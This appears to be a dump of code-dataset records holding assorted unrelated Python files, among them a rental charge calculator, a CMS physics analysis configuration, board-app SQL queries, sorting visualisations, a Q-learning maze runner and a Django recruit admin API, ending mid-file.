3\nsave_to_jason logging set to either 0, 1, 2, 3\n'''\nimport argparse\nimport json\nimport datetime\nimport math\nimport logging\nimport sys\n\n\ndef parse_cmd_arguments():\n \"\"\"\n Ingest arguments into an object.\n\n Added arguments which set logging for each function.\n \"\"\"\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('-i', '--input', help='input JSON file', required=True)\n parser.add_argument('-o', '--output', help='ouput JSON file', required=True)\n parser.add_argument('-d_l', '--debug_lrf', type=int, help='logging for load_rentals_file',\n required=True, choices=[0, 1, 2, 3])\n parser.add_argument('-d_c', '--debug_caf', type=int,\n help='logging for calculate_additional_fields', required=True,\n choices=[0, 1, 2, 3])\n parser.add_argument('-d_s', '--debug_stj', type=int, help='logging for save_to_json',\n required=True, choices=[0, 1, 2, 3])\n\n return parser.parse_args()\n\n\ndef choose_logging_level(function):\n \"\"\"\n Choose logging level per function.\n \"\"\"\n def set_logging_params(debug_level, *args, **kwargs):\n \"\"\"\n Set logging parameters per command line argument.\n \"\"\"\n log_format = \"%(asctime)s %(filename)s:%(lineno)-3d %(levelname)s %(message)s\"\n log_file = datetime.datetime.now().strftime(\"%Y-%m-%d\") + '.log'\n formatter = logging.Formatter(log_format)\n console_handler = logging.StreamHandler()\n logger = logging.getLogger()\n logging.getLogger().disabled = False\n if debug_level == 0:\n logging.disable(logging.NOTSET)\n logging.getLogger().disabled = True\n else:\n file_handler = logging.FileHandler(log_file)\n if debug_level == 1:\n file_handler.setLevel(logging.ERROR)\n console_handler.setLevel(logging.ERROR)\n logger.setLevel(logging.ERROR)\n if debug_level == 2:\n file_handler.setLevel(logging.WARNING)\n console_handler.setLevel(logging.WARNING)\n logger.setLevel(logging.WARNING)\n if debug_level == 3:\n file_handler.setLevel(logging.WARNING)\n console_handler.setLevel(logging.DEBUG)\n logger.setLevel(logging.DEBUG)\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n console_handler.setFormatter(formatter)\n logger.addHandler(console_handler)\n\n return function(*args, **kwargs)\n\n return set_logging_params\n\n\n@choose_logging_level\ndef load_rentals_file(filename):\n \"\"\"\n Read source file.\n\n First route through choose_logging_level.\n \"\"\"\n with open(filename) as file:\n try:\n data = json.load(file)\n logging.debug('File loaded.')\n except FileNotFoundError:\n logging.error('Invalid file path.')\n sys.exit(0)\n return data\n\n\n@choose_logging_level\ndef calculate_additional_fields(data):\n \"\"\"\n Determine total days, total price, sqrt total price, and unit cost.\n\n First route through choose_logging_level.\n \"\"\"\n keys = list(data.keys())\n for key in list(data.keys()):\n keys.pop(0)\n if key in keys:\n logging.error(f'Duplicated rental numbers, key = {key}')\n for key, value in data.items():\n logging.debug(key)\n try:\n rental_start = datetime.datetime.strptime(value['rental_start'], '%m/%d/%y')\n except ValueError:\n logging.error(f'No start date, key = {key}')\n try:\n rental_end = datetime.datetime.strptime(value['rental_end'], '%m/%d/%y')\n except ValueError:\n logging.warning(f'No end date, contract still open. key = {key}')\n if rental_end < rental_start:\n logging.error(f'end date before start date, values now in chrono order. key = {key}')\n value['rental_end'], value['rental_start'] = value['rental_start'], value['rental_end']\n rental_start = datetime.datetime.strptime(value['rental_start'], '%m/%d/%y')\n rental_end = datetime.datetime.strptime(value['rental_end'], '%m/%d/%y')\n value['total_days'] = (rental_end - rental_start).days\n value['total_price'] = value['total_days'] * value['price_per_day']\n value['sqrt_total_price'] = math.sqrt(value['total_price'])\n try:\n value['unit_cost'] = value['total_price'] / value['units_rented']\n except ZeroDivisionError:\n logging.error(f'no units rented, user prompted for correct value. key = {key}')\n value['units_rented'] = int(input(f'source file has {value[\"units_rented\"]}'\n ' units rented for rental {key},'\n ' please enter correct number of units: '))\n value['unit_cost'] = value['total_price'] / value['units_rented']\n return data\n\n\n@choose_logging_level\ndef save_to_json(filename, data):\n \"\"\"\n Write the output file.\n\n First route through choose_logging_level.\n \"\"\"\n with open(filename, 'w') as file:\n try:\n json.dump(data, file)\n logging.debug('File written.')\n except Exception as exc:\n logging.error('There was an exception.')\n print(exc)\n\n\nif __name__ == \"__main__\":\n ARGS = parse_cmd_arguments()\n DATA = load_rentals_file(ARGS.debug_lrf, ARGS.input)\n DATA = calculate_additional_fields(ARGS.debug_caf, DATA)\n save_to_json(ARGS.debug_stj, ARGS.output, DATA)\n","sub_path":"students/cjfortu/L09/assignment/charges_calc_decorators_l09.py","file_name":"charges_calc_decorators_l09.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"429289374","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process( \"TEST\" )\nprocess.options = cms.untracked.PSet(wantSummary = cms.untracked.bool(True),\n\t\t\t\t SkipEvent = cms.untracked.vstring('ProductNotFound'))\ncorrJetsOnTheFly = True\nrunOnMC = True\n#****************************************************************************************************#\n\nprocess.load('Configuration/StandardSequences/FrontierConditions_GlobalTag_condDBv2_cff')\nfrom Configuration.AlCa.GlobalTag import GlobalTag\nif runOnMC:\n process.GlobalTag.globaltag = '74X_mcRun2_asymptotic_v2'#'for version2 miniaod \nelif not(runOnMC):\n process.GlobalTag.globaltag = '74X_dataRun2_reMiniAOD_v0' #'74X_dataRun2_Prompt_v4' # for 2015D prompt v4\n# 74X_dataRun2_reMiniAOD_v0 for D_05Oct2015\n\n# https://twiki.cern.ch/twiki/bin/view/CMSPublic/WorkBookMiniAOD2015#ETmiss_filters\nhltFiltersProcessName = 'RECO'\nif runOnMC:\n hltFiltersProcessName = 'PAT' #'RECO'\n\nprocess.load(\"VAJets.PKUCommon.goodMuons_cff\")\nprocess.load(\"VAJets.PKUCommon.goodElectrons_cff\")\nprocess.load(\"VAJets.PKUCommon.goodJets_cff\")\nprocess.load(\"VAJets.PKUCommon.goodPhotons_cff\")\nprocess.load(\"VAJets.PKUCommon.leptonicZ_cff\")\n\n# If Update\nprocess.goodMuons.src = \"slimmedMuons\"\nprocess.goodElectrons.src = \"slimmedElectrons\"\nprocess.goodAK4Jets.src = \"slimmedJets\"\nprocess.goodPhotons.src = \"slimmedPhotons\"\n\n#process.goodOfflinePrimaryVertex = cms.EDFilter(\"VertexSelector\",\n# src = cms.InputTag(\"offlineSlimmedPrimaryVertices\"),\n# cut = cms.string(\"chi2!=0 && ndof >= 4.0 && abs(z) <= 24.0 && abs(position.Rho) <= 2.0\"),\n# filter = cms.bool(False)\n# )\n\nZBOSONCUT = \"pt > 0.0\"\n\nprocess.leptonicVSelector = cms.EDFilter(\"CandViewSelector\",\n src = cms.InputTag(\"leptonicV\"),\n cut = cms.string( ZBOSONCUT ), \n filter = cms.bool(False)\n )\n\nprocess.leptonicVFilter = cms.EDFilter(\"CandViewCountFilter\",\n src = cms.InputTag(\"leptonicV\"),\n minNumber = cms.uint32(0),\n filter = cms.bool(False)\n )\n\n\nprocess.leptonSequence = cms.Sequence(process.muSequence +\n process.eleSequence +\n process.leptonicVSequence +\n process.leptonicVSelector +\n process.leptonicVFilter )\n\nprocess.jetSequence = cms.Sequence(process.NJetsSequence)\n\n\n#begin------------JEC on the fly--------\nif runOnMC:\n jecLevelsAK4chs = [\n 'Summer15_25nsV2_MC_L1FastJet_AK4PFchs.txt',\n 'Summer15_25nsV2_MC_L2Relative_AK4PFchs.txt',\n 'Summer15_25nsV2_MC_L3Absolute_AK4PFchs.txt'\n ]\nelse:\n jecLevelsAK4chs = [\n 'Summer15_25nsV5_DATA_L1FastJet_AK4PFchs.txt',\n 'Summer15_25nsV5_DATA_L2Relative_AK4PFchs.txt',\n 'Summer15_25nsV5_DATA_L3Absolute_AK4PFchs.txt',\n 'Summer15_25nsV5_DATA_L2L3Residual_AK4PFchs.txt'\n ] \n#end------------JEC on the fly--------\n\n \n \nprocess.treeDumper = cms.EDAnalyzer(\"ZPKUTreeMaker\",\n originalNEvents = cms.int32(1),\n crossSectionPb = cms.double(1),\n targetLumiInvPb = cms.double(1.0),\n PKUChannel = cms.string(\"VW_CHANNEL\"),\n isGen = cms.bool(False),\n\t\t\t\t RunOnMC = cms.bool(runOnMC), \n leptonicVSrc = cms.string(\"leptonicV\"),\n rho = cms.InputTag(\"fixedGridRhoFastjetAll\"), \n ak4jetsSrc = cms.string(\"cleanAK4Jets\"), \n jecAK4chsPayloadNames = cms.vstring( jecLevelsAK4chs ),\n metSrc = cms.string(\"slimmedMETs\"),\n electronIDs = cms.InputTag(\"cutBasedElectronID-Spring15-25ns-V1-standalone-medium\"),\n looseelectronSrc = cms.InputTag(\"vetoElectrons\"),\n electrons = cms.InputTag(\"slimmedElectrons\"),\n conversions = cms.InputTag(\"reducedEgamma\",\"reducedConversions\",\"PAT\"),\n beamSpot = cms.InputTag(\"offlineBeamSpot\",\"\",\"RECO\"),\n photonSrc = cms.string(\"goodPhotons\"), \n loosemuonSrc = cms.InputTag(\"looseMuons\"),\n hltToken = cms.InputTag(\"TriggerResults\",\"\",\"HLT\"),\n elPaths = cms.vstring(\"HLT_Ele*\"),\n muPaths = cms.vstring(\"HLT_Mu*\"), \n\t\t\t\t noiseFilter = cms.InputTag('TriggerResults','', hltFiltersProcessName),\n\t\t\t\t noiseFilterSelection_HBHENoiseFilter = cms.string('Flag_HBHENoiseFilter'),\n\t\t\t\t noiseFilterSelection_EarlyRunsHBHENoiseFilter = cms.InputTag(\"HBHENoiseFilterResultProducer\", \"HBHENoiseFilterResult\"),\n\t\t\t\t noiseFilterSelection_CSCTightHaloFilter = cms.string('Flag_CSCTightHaloFilter'),\n\t\t\t\t noiseFilterSelection_hcalLaserEventFilter = cms.string('Flag_hcalLaserEventFilter'),\n\t\t\t\t noiseFilterSelection_EcalDeadCellTriggerPrimitiveFilter = cms.string('Flag_EcalDeadCellTriggerPrimitiveFilter'),\n\t\t\t\t noiseFilterSelection_goodVertices = cms.string('Flag_goodVertices'),\n\t\t\t\t noiseFilterSelection_trackingFailureFilter = cms.string('Flag_trackingFailureFilter'),\n\t\t\t\t noiseFilterSelection_eeBadScFilter = cms.string('Flag_eeBadScFilter'),\n\t\t\t\t noiseFilterSelection_ecalLaserCorrFilter = cms.string('Flag_ecalLaserCorrFilter'),\n\t\t\t\t noiseFilterSelection_trkPOGFilters = cms.string('Flag_trkPOGFilters'),\n\t\t\t\t # and the sub-filters\n\t\t\t\t noiseFilterSelection_trkPOG_manystripclus53X = cms.string('Flag_trkPOG_manystripclus53X'),\n \t\t\t\t noiseFilterSelection_trkPOG_toomanystripclus53X = cms.string('Flag_trkPOG_toomanystripclus53X'),\n \t\t\t\t noiseFilterSelection_trkPOG_logErrorTooManyClusters = cms.string('Flag_trkPOG_logErrorTooManyClusters'),\n \t\t\t\t # summary\n \t\t\t\t noiseFilterSelection_metFilters = cms.string('Flag_METFilters')\n )\n\n\nprocess.analysis = cms.Path(\n# process.goodOfflinePrimaryVertex +\n process.leptonSequence +\n process.jetSequence +\n process.photonSequence +\n process.treeDumper)\n\n### Source\nprocess.load(\"VAJets.PKUCommon.data.RSGravitonToWW_kMpl01_M_1000_Tune4C_13TeV_pythia8\")\nprocess.source.fileNames = [\n \"root://xrootd.unl.edu//store/mc/RunIISpring15DR74/ZGTo2LG_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8/MINIAODSIM/Asympt25ns_MCRUN2_74_V9-v1/10000/0433F63E-B759-E511-B25E-0002C90C53FA.root\"\n#\"root://xrootd.unl.edu//store/user/qili/Bulk/test-WAmatchingnew-v3/150724_013843/0000/TOP-RunIISpring15DR74-00001_93.root\",\n#\"/store/data/Run2015D/SingleMuon/MINIAOD/05Oct2015-v1/40000/C4A44722-686F-E511-A2F4-002354EF3BD2.root\"\n#\"/store/data/Run2015D/SingleElectron/MINIAOD/05Oct2015-v1/10000/00991D45-4E6F-E511-932C-0025905A48F2.root\"\n#\"/store/data/Run2015D/SingleMuon/MINIAOD/PromptReco-v4/000/258/703/00000/B0DFE51B-7972-E511-A3DA-02163E01450B.root\"\n]\n \nprocess.maxEvents.input = 24\n\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 10\nprocess.MessageLogger.cerr.FwkReport.limit = 99999999\n\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string(\"treePKU.root\")\n )\n","sub_path":"PKUTreeMaker/test/analysis-Z.py","file_name":"analysis-Z.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13245606","text":"import data_manager\n\n\ndef get_data(group_id):\n boards = data_manager.execute_select(\"\"\"\n SELECT id,title,is_active FROM boards WHERE group_id=%(group_id)s\n \"\"\", {'group_id': group_id})\n cards = []\n for board in boards:\n board_id = board['id']\n temp_cards = data_manager.execute_select(\"\"\"SELECT id,title,board_id,status_id,\"order\" FROM cards\n WHERE board_id=%(board_id)s\"\"\", {'board_id': board_id})\n for card in temp_cards:\n cards.append(card)\n statuses = data_manager.execute_select('SELECT * FROM statuses')\n data = {\"boards\": boards,\n \"cards\": cards,\n \"statuses\": statuses,\n \"group_id\": group_id}\n return data\n\n\ndef save_data(group_id, cards, boards):\n current_boards = data_manager.execute_select(\"\"\"SELECT id FROM boards\"\"\")\n current_cards = data_manager.execute_select(\"\"\"SELECT id FROM cards\"\"\")\n for board in boards:\n if is_in_current_data(current_boards, board['id']):\n data_manager.execute_dml_statement(\"\"\"UPDATE boards SET title=%(title)s,is_active=%(is_active)s\n WHERE id=%(board_id)s AND group_id=%(group_id)s\"\"\",\n {'title': board['title'], 'is_active': board['is_active'],\n 'board_id': board['id'], 'group_id': group_id})\n else:\n data_manager.execute_dml_statement(\n \"\"\"INSERT INTO boards (title, is_active, group_id) VALUES (%(title)s,%(is_active)s,%(group_id)s)\"\"\",\n {'title': board['title'], 'is_active': board['is_active'],\n 'group_id': group_id})\n\n for card in cards:\n if card['board_id'] is None:\n remove_card(card['id'])\n else:\n if is_in_current_data(current_cards, card['id']):\n data_manager.execute_dml_statement(\"\"\"UPDATE cards SET title=%(title)s,board_id=%(board_id)s,status_id=%(status_id)s,\"order\"=%(order)s\n WHERE id=%(card_id)s\n \"\"\", {'title': card['title'], 'board_id': card['board_id'],\n 'status_id': card['status_id'], 'order': card['order'],\n 'card_id': card['id']})\n else:\n data_manager.execute_dml_statement(\n \"\"\"INSERT INTO cards (title, board_id) VALUES (%(title)s,%(board_id)s)\"\"\",\n {'title': card['title'], 'board_id': card['board_id']})\n\n\ndef is_in_current_data(current_data, id):\n for data in current_data:\n if data['id'] == int(id):\n return True\n return False\n\n\ndef get_groups(account_id):\n groups = data_manager.execute_select(\"\"\"SELECT groups.id as group_id, name FROM groups JOIN account_groups a on groups.id = a.group_id\n WHERE a.account_id = %(account_id)s\"\"\", {'account_id': account_id})\n return groups\n\n\ndef add_group(account_id, title):\n group_id = data_manager.execute_dml_statement(\"\"\"INSERT INTO groups (name) VALUES (%(title)s) RETURNING id\"\"\",\n {'title': title})\n data_manager.execute_dml_statement(\n \"\"\"INSERT INTO account_groups (account_id, group_id) VALUES (%(account_id)s,%(group_id)s)\"\"\",\n {'account_id': account_id, 'group_id': group_id})\n\n\ndef remove_group(group_id):\n data_manager.execute_dml_statement(\"\"\"\n DELETE\n FROM groups\n WHERE groups.id=%(group_id)s;\n \"\"\", {'group_id': group_id})\n\n\ndef get_members(group_id):\n return data_manager.execute_select('''\n SELECT accounts.username, accounts.id FROM accounts\n JOIN account_groups a ON accounts.id = a.account_id\n JOIN groups ON a.group_id = groups.id\n WHERE groups.id = %(group_id)s;''',\n {'group_id': group_id})\n\n\ndef search_user(search_pattern, group):\n return data_manager.execute_select(\n \"\"\"SELECT accounts.id, username FROM accounts\n LEFT JOIN\n (SELECT accounts.id AS id FROM accounts INNER JOIN account_groups ON accounts.id=account_groups.account_id\n WHERE account_groups.group_id=%(group)s) AS temp\n ON accounts.id=temp.id\n WHERE LOWER(username) LIKE LOWER(%(pattern)s) AND temp.id IS NULL;\"\"\",\n {'pattern': '%' + search_pattern + '%', 'group': group})\n\n\ndef delete_member(group_id, account_id):\n return data_manager.execute_dml_statement(\"\"\"\n DELETE FROM account_groups\n WHERE account_id = %(account_id)s AND group_id = %(group_id)s;\n \"\"\",\n {'account_id': account_id, 'group_id': group_id})\n\n\ndef remove_board(board_id):\n data_manager.execute_dml_statement(\"\"\"\n DELETE \n FROM boards\n WHERE boards.id = %(board_id)s;\n \"\"\", {'board_id': board_id})\n\n\ndef remove_card(card_id):\n data_manager.execute_dml_statement(\"\"\"\n DELETE \n FROM cards\n WHERE cards.id = %(card_id)s;\n \"\"\", {'card_id': card_id})\n\n\ndef get_user_by_name(name):\n return data_manager.execute_select(\n \"\"\"SELECT * FROM accounts WHERE username=%(name)s;\"\"\",\n {'name': name})\n\n\ndef add_user_account(name, password):\n response = data_manager.execute_dml_statement(\n \"\"\"INSERT INTO accounts (username, password) VALUES (%(name)s, %(pass)s)\"\"\",\n {'name': name, 'pass': password}\n )\n return response\n\n\ndef check_group_permission(account_id, group_id):\n group = data_manager.execute_select(\"\"\"\n SELECT * FROM account_groups WHERE account_id=%(account_id)s AND group_id=%(group_id)s;\n \"\"\", {'account_id': account_id, 'group_id': group_id})\n return len(group) > 0\n\n\ndef add_user_to_group(account_id, group_id):\n data_manager.execute_dml_statement(\"\"\"\n INSERT INTO account_groups (account_id, group_id)\n VALUES (%(account_id)s, %(group_id)s)\n \"\"\", {'account_id': account_id, 'group_id': group_id})\n","sub_path":"queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":6933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"638913852","text":"def loan_calculator(deposit,percent,month):\n total = deposit*(1+(percent/100)/12)**(months)\n x = total/months\n return total, x\n\ndeposit = int(input('Введите желаемую сумму депозита: ')) #Сумма депозита\npercent = int(input('Введите процентную ставку: ')) #1/100 доля процентной ставки\nmonths = int(input('Введите время кредитования (в годах): '))*12 #Количество месяцев\ntotal, x = loan_calculator(deposit,percent,months)\nprint(' Сумма по кредиту в месяц равна:', round(x,1), 'BYN\\n','Сумма всего платежа составит:', round(total,2) )\nprint(' Сумма переплат:', round(total - deposit,2))\n\n\n","sub_path":"Tasks/Meleshkin/Task1.py","file_name":"Task1.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628878429","text":"\"\"\"Functional Subtask\"\"\"\nfrom typing import Callable, Dict\n\n\nclass FunctionalSubtask:\n \"\"\"A single granule of a multistep task; runs a simple function.\n\n Can be sync or async.\n \"\"\"\n\n def __init__(self, name: str, prints: str, pct_starts_at: float,\n func: Callable = None, *args, **kwargs):\n \"\"\"Initializer\n\n name (str): Subtask name\n prints (str): A string that the subtask will return to be printed out\n pct_starts_at (float): The percent that subtask is expected to begin\n within a larger group of subtasks.\n func (Callable): A function to run\n \"\"\"\n self.name: str = name\n self.prints: str = prints\n self.pct_starts_at: float = pct_starts_at\n self.func_ref: Callable = func\n self.args: tuple = args\n self.kwargs: Dict = kwargs\n\n def func(self):\n \"\"\"Runs function w/ arguments 'args' or keyword arguments 'kwargs'.\"\"\"\n self.func_ref(*self.args, **self.kwargs)\n","sub_path":"pma_api/manage/functional_subtask.py","file_name":"functional_subtask.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"468775240","text":"#! /usr/bin/env python\n# encoding: utf-8\n\n\nfrom flask.ext.assets import Bundle\nfrom ext import assets\nfrom helpers import AppFactory\nimport settings\nfrom base.filters import formatetimestamp\n\napp = AppFactory(config=settings.BaseConfig).get_app(__name__)\n\ncss_base = Bundle(\n *\n app.config.get(\n 'CSS_BASE_BUNDLE',\n []),\n filters='cssmin',\n output='gen/base.css')\nassets.register('css_base', css_base)\n\njs_base = Bundle(\n *\n app.config.get(\n 'JS_BASE_BUNDLE',\n []),\n filters='jsmin',\n output='gen/base.js')\nassets.register('js_base', js_base)\n\njinja_env = app.jinja_env\njinja_env.filters[\"formatetimestamp\"] = formatetimestamp\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"601537120","text":"import pandas as pd\nimport random\nimport math\nfrom itertools import count\nfrom matplotlib import pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\n# improvements that need to be made after completing the sorting algorithms\n# 1. refactor functions in such a way that there is a main function\n# 2. create class for swapping \n# 3. put each sorting algorithm in a separate file\n\nclass BubbleSort:\n\n title = 'Bubble Sort Algorithm'\n ##first two functions can be transferred in a parent class\n def swap_places(self, array, i, j):\n temp = array[i]\n array[i] = array[j]\n array[j] = temp\n\n def bubble_sort(self, array):\n is_sorted = False\n max_length = len(array)-1\n while(is_sorted is False):\n is_sorted = True\n for i in range(max_length):\n if array[i] > array[i+1]:\n self.swap_places(array, i, i+1)\n is_sorted = False\n yield array\n max_length = max_length - 1\n yield array\n\nclass SelectionSort:\n title = \"Selection Sort Algorithm\"\n def swap_places(self, array, i, j):\n temp = array[i]\n array[i] = array[j]\n array[j] = temp\n \n def selection_sort(self, array):\n for i in range(len(array)):\n minimum = i\n for j in range(i+1, len(array)):\n if array[j] < array[minimum]:\n minimum = j\n yield array\n self.swap_places(array, i, minimum)\n yield array\n \nclass InsertionSort:\n title = 'Insertion Sort Algorithm'\n\n def swap_places(self, array, i, j):\n temp = array[i]\n array[i] = array[j]\n array[j] = temp\n\n def insertion_sort(self, array):\n for i in range(1, len(array)):\n value = array[i]\n current_index = i\n while (current_index > 0 and array[current_index-1] > value):\n self.swap_places(array, current_index, current_index-1)\n current_index = current_index - 1\n yield array\n array[current_index] = value\n yield array\n\nclass MergeSort:\n def merge_arrange(self, left_array, right_array, array):\n if len(array) == 2:\n yield array\n left_index, right_index, array_index = 0, 0, 0\n while left_index < len(left_array) and right_index < len(right_array):\n if left_array[left_index] <= right_array[right_index]: \n array[array_index] = left_array[left_index]\n left_index = left_index + 1\n else:\n array[array_index] = right_array[right_index]\n right_index = right_index + 1\n array_index = array_index + 1\n yield array\n while left_index < len(left_array):\n array[array_index] = left_array[left_index]\n left_index = left_index + 1\n array_index = array_index + 1\n yield array\n while right_index < len(right_index):\n array[array_index] = right_array[right_index]\n right_index = right_index + 1\n array_index = array_index + 1\n yield array\n def merge_sort(self, array):\n mid = round(len(array)/2)\n left, right = [], []\n for i in range(1, mid-1):\n left.append(array[i])\n for i in range(mid, len(array)):\n right.append(array[i]) \n self.merge_sort(left)\n self.merge_sort(right)\n self.merge_arrange(left, right, array)\n\n## input in a main function\ny_values = []\n\nfor i in range(100):\n y_values.append(random.randint(0,500))\n\n# bsort = BubbleSort()\nssort = MergeSort()\ngenerator = ssort.merge_sort(y_values)\nfig, ax = plt.subplots()\nax.set_title(ssort.title)\nbar_rects = ax.bar(range(len(y_values)), y_values, align=\"edge\")\ntext = ax.text(0.02, 0.95, \"\", transform=ax.transAxes)\n\niteration = [0]\n\ndef update_fig(y_values, rects, iteration):\n for rect, val in zip(rects, y_values):\n rect.set_height(val)\n iteration[0] += 1\n text.set_text(\"# of operations: {}\".format(iteration[0]))\n\nanim = FuncAnimation(fig, func=update_fig, fargs=(bar_rects, iteration), frames=generator, interval=1, repeat=False)\nplt.show()\n\n## input in a main function\n\nprint(y_values)\n\n# class HeapSort:\n\n# class QuickSort:\n\n# class main ? or for plotting","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"601043206","text":"import OpenDartReader\n\napi_key = '6f7c4a97fbac7c000f8a17c677f64faaddcfd094'\ndart = OpenDartReader(api_key)\n\n# samsung = dart.list('삼성전자', kind='A', start='2019-01-01', end='2019-12-31')\n# print(samsung)\n\n# test = dart.finstate_all('삼성전자',2019,11011)\n# print(test)\n\ntest2 = dart.company('삼성전자')\n# print(test2)\n\n# name = test2['corp_name'];\n# stock = test2['stock_name'];\n# addr = test2['adres'];\n# ceo = test2['ceo_nm'];\n\n# doc = {'이름' : name, '주식명': stock, '주소' : addr, '대표' : ceo}\n# print(doc);\n\nprint(dart.finstate('삼성전자', 2019, reprt_code='11013'))\n","sub_path":"Financial Statements/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"74738786","text":"from SPPI.GridMaze.maze_env20 import Maze\nfrom SPPI.GridMaze.RL_brain import QLearningTable\n\ndef main_MAZE(env):\n n_trj = 1000\n RL = QLearningTable(actions=list(range(env.n_actions)))\n for eps in range(n_trj):\n observation = env.reset()\n step = 0\n\n while True:\n step +=1\n env.render()\n\n #action = RL.random_action(str(observation))\n action = RL.choose_action(str(observation))\n observation_, reward, done = env.step(action)\n # if reward == -1:\n # break\n RL.learn(str(observation),action,reward,str(observation_))\n\n observation = observation_\n\n if done:\n print(\"done!\")\n break\n\n\n\nif __name__ == \"__main__\":\n # env = gym.make('MontezumaRevengeNoFrameskip-v4')\n # main_MR()\n env = Maze()\n S_space = env.state_space()\n main_MAZE(env)","sub_path":"SPPI/GridMaze/run_qlearning.py","file_name":"run_qlearning.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573004814","text":"from account.decorators import super_admin_required\nfrom utils.api import APIView, validate_serializer\n\nfrom recruit.models import Recruit\nfrom recruit.serializers import (RecruitSerializer, CreateRecruitSerializer,\n EditRecruitSerializer)\n\n\nclass RecruitAdminAPI(APIView):\n @validate_serializer(CreateRecruitSerializer)\n @super_admin_required\n def post(self, request):\n \"\"\"\n publish recruit\n \"\"\"\n data = request.data\n recruit = Recruit.objects.create(title=data[\"title\"],\n C_name=data[\"C_name\"],\n created_by=request.user,\n visible=data[\"visible\"])\n return self.success(RecruitSerializer(recruit).data)\n\n @validate_serializer(EditRecruitSerializer)\n @super_admin_required\n def put(self, request):\n \"\"\"\n edit recruit\n \"\"\"\n data = request.data\n try:\n recruit = Recruit.objects.get(id=data.pop(\"id\"))\n except Recruit.DoesNotExist:\n return self.error(\"Recruit does not exist\")\n\n for k, v in data.items():\n setattr(recruit, k, v)\n recruit.save()\n\n return self.success(RecruitSerializer(recruit).data)\n\n @super_admin_required\n def get(self, request):\n \"\"\"\n get recruit list / get one recruit\n \"\"\"\n recruit_id = request.GET.get(\"id\")\n if recruit_id:\n try:\n recruit = Recruit.objects.get(id=recruit_id)\n return self.success(RecruitSerializer(recruit).data)\n except Recruit.DoesNotExist:\n return self.error(\"Recruit does not exist\")\n recruit = Recruit.objects.all().order_by(\"-create_time\")\n if request.GET.get(\"visible\") == \"true\":\n recruit = recruit.filter(visible=True)\n return self.success(self.paginate_data(request, recruit, RecruitSerializer))\n\n @super_admin_required\n def delete(self, request):\n if request.GET.get(\"id\"):\n Recruit.objects.filter(id=request.GET[\"id\"]).delete()\n return self.success()\n","sub_path":"recruit/views/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"539300291","text":"\"\"\"\n不可变类型的变量作为实参传递给函数时,在函数内部不能改变它的值\n\"\"\"\n\n\n# def sum(a, b):\n# a = 10\n# print(a)\n# print(b)\n#\n# i = 100\n# j = 200\n# print(sum(i, j))\n#\n# print(i)\n# print(j)\n#\n\ndef sum(a, b):\n a = [\"hello\", \"python\"]\n a.append(50)\n print(a)\n print(b)\n\nlist1 = [10, 20]\nlist2 = [30, 40]\nsum(list1, list2)\nprint(list1)\nprint(list2)\n\n","sub_path":"basic_Day06/15_可变类型和不可变类型的数据作为实参传递.py","file_name":"15_可变类型和不可变类型的数据作为实参传递.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"210122548","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport os\n\nfrom deep_classifier import DeepClassifier\n\n\ndef main():\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n df = pd.read_pickle('../data/df2.pcl')\n x = df.drop('target', axis=1)\n y = df['target']\n\n dae = DeepClassifier(features=x.shape[1], restart=True, batch_size=512)\n\n dae.train_dae(x)\n x_train, x_val, y_train, y_val = train_test_split(x, y, test_size=0.2, random_state=42)\n dae.train_clf(x_train, y_train, x_val, y_val, restart=False)\n\n\nif __name__=='__main__':\n main()","sub_path":"DAE/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"92038247","text":"import numpy as np\nimport warnings\nimport h5py\nimport copy\nimport pdb\n\nimport astropy.units as u\nimport astropy.constants as consts\nfrom astropy.io import fits\nfrom astropy.time import Time\nfrom erfa import ErfaWarning\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport matplotlib.colors as colors\nimport pandas as pd\n\nimport corner\nimport pdb\n\nimport orbitize.kepler as kepler\nimport orbitize.system\n\n\n# define modified color map for default use in orbit plots\ncmap = mpl.cm.Purples_r\ncmap = colors.LinearSegmentedColormap.from_list(\n 'trunc({n},{a:.2f},{b:.2f})'.format(n=cmap.name, a=0.0, b=0.7),\n cmap(np.linspace(0.0, 0.7, 1000))\n)\n\n\nclass Results(object):\n \"\"\"\n A class to store accepted orbital configurations from the sampler\n\n Args:\n sampler_name (string): name of 